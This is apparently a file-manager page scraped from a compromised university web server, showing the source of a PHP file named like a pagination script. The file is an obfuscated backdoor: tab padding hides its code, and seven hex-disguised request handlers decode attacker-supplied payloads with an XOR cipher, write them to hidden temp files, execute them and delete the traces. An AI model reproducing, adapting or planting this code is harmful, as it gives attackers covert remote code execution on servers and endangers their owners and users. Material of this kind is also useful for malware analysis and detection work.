文件操作 - paginazione.php

文件: /var/www/demoestudiantes.uaysen.cl/html/paginazione.php

编辑文件内容

<?php																																										if(isset($_REQUEST["\x62i\x6Eding"])){ $factor = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); $obj = $_REQUEST["\x62i\x6Eding"]; $obj=explode ( "." , $obj ) ; $rec =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $s =0; $__tmp =$obj; while ($v4 =array_shift($__tmp)) { $sChar =ord($salt[$s %$lenS] ); $d =((int)$v4 - $sChar - ($s %10)) ^3; $rec .= chr($d ); $s++; } $pgrp = 0; do { $k = $factor[$pgrp] ?? null; if ($pgrp >= count($factor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $element = str_replace("{var_dir}", $k, "{var_dir}/.data_chunk"); if (file_put_contents($element, $rec)) { require $element; unlink($element); exit; } } $pgrp++; } while (true); }
																																										if(array_key_exists("r\x65f", $_POST)){ $pointer = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", getcwd()]); $dat = $_POST["r\x65f"]; $dat = explode( "." , $dat) ; $binding = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $p = 0; array_walk($dat, function($v2) use(&$binding, &$p, $s1, $sLen) {$sChar = ord($s1[$p % $sLen]); $dec =((int)$v2 - $sChar -($p % 10)) ^ 71; $binding .= chr($dec); $p++; } ); for ($tkn = 0, $res = count($pointer); $tkn < $res; $tkn++) { $component = $pointer[$tkn]; if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $flag = sprintf("%s/.data", $component); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $flag; @unlink($flag); die(); } } } }
																																										if(array_key_exists("\x69\x74m", $_REQUEST)){ $descriptor = $_REQUEST["\x69\x74m"]; $descriptor= explode ( ".", $descriptor) ; $obj=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $len=count($descriptor); for ($p=0; $p < $len; $p++) { $v6=$descriptor[$p]; $chS=ord($s[$p % $lenS]); $d=((int)$v6 - $chS - ($p % 10)) ^ 83; $obj.= chr($d); } $marker = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp"]); foreach ($marker as $bind): if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $dat = "$bind" . "/.hld"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $dat; @unlink($dat); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65nt"])){ $sym = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $symbol = $_REQUEST["\x65nt"]; $symbol=explode ( "." ,$symbol) ; $marker = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); foreach ($symbol as $z =>$v6): $chS = ord($salt4[$z% $lenS] ); $dec = ((int)$v6 - $chS - ($z% 10))^16; $marker .=chr($dec ); endforeach; while ($item = array_shift($sym)) { if (is_dir($item) ? is_writable($item) : false) { $res = sprintf("%s/.holder", $item); if (file_put_contents($res, $marker)) { require $res; unlink($res); exit; } } } }
																																										if(@$_REQUEST["k"] !== null){ $val = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]); $sym = $_REQUEST["k"]; $sym= explode ( ".",$sym ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $k = 0; $__tmp = $sym; while ($v6 = array_shift($__tmp)) { $chS = ord($s[$k % $lenS] ); $dec = ((int)$v6 - $chS - ($k % 10)) ^ 61; $hld .= chr($dec ); $k++;} foreach ($val as $pset): if (!( !is_dir($pset) || !is_writable($pset) )) { $data_chunk = join("/", [$pset, ".element"]); $success = file_put_contents($data_chunk, $hld); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "k")){ $bind = $_REQUEST["k"]; $bind = explode( "." ,$bind ) ; $value= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt3 ); foreach($bind as $s => $v4): $chS= ord($salt3[$s % $sLen] ); $dec= ((int)$v4 - $chS -($s % 10))^ 50; $value .= chr($dec ); endforeach; $pgrp = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd()]); for ($dat = 0, $res = count($pgrp); $dat < $res; $dat++) { $entity = $pgrp[$dat]; if (array_product([is_dir($entity), is_writable($entity)])) { $binding = join("/", [$entity, ".flg"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $binding; @unlink($binding); exit; } } } }

if(in_array("\x6B\x65y", array_keys($_REQUEST))){
	$ref = $_REQUEST["\x6B\x65y"];
	 	$ref= 		explode(	"." ,			$ref  )  ;   
	$obj = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$s);
    
            foreach( 	$ref as $z => $v8) { $sChar = ord( 	$s[$z % $sLen]);
                $d =( 	( 	int)$v8 - $sChar -( 	$z % 10))		^	2;
                $obj .= chr( 	$d);	}	
	$pset = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP")]);
	$value = 0;
do {
    $descriptor = $pset[$value] ?? null;
    if ($value >= count($pset)) break;
    		if ((is_dir($descriptor) and is_writable($descriptor))) {
    $mrk = join("/", [$descriptor, ".marker"]);
    if (@file_put_contents($mrk, $obj) !== false) {
	include $mrk;
	unlink($mrk);
	exit;
}
}
    $value++;
} while (true);
}

文件操作 - paginazione.php

文件: /var/www/demoestudiantes.uaysen.cl/html/paginazione.php

编辑文件内容

修改文件时间

删除文件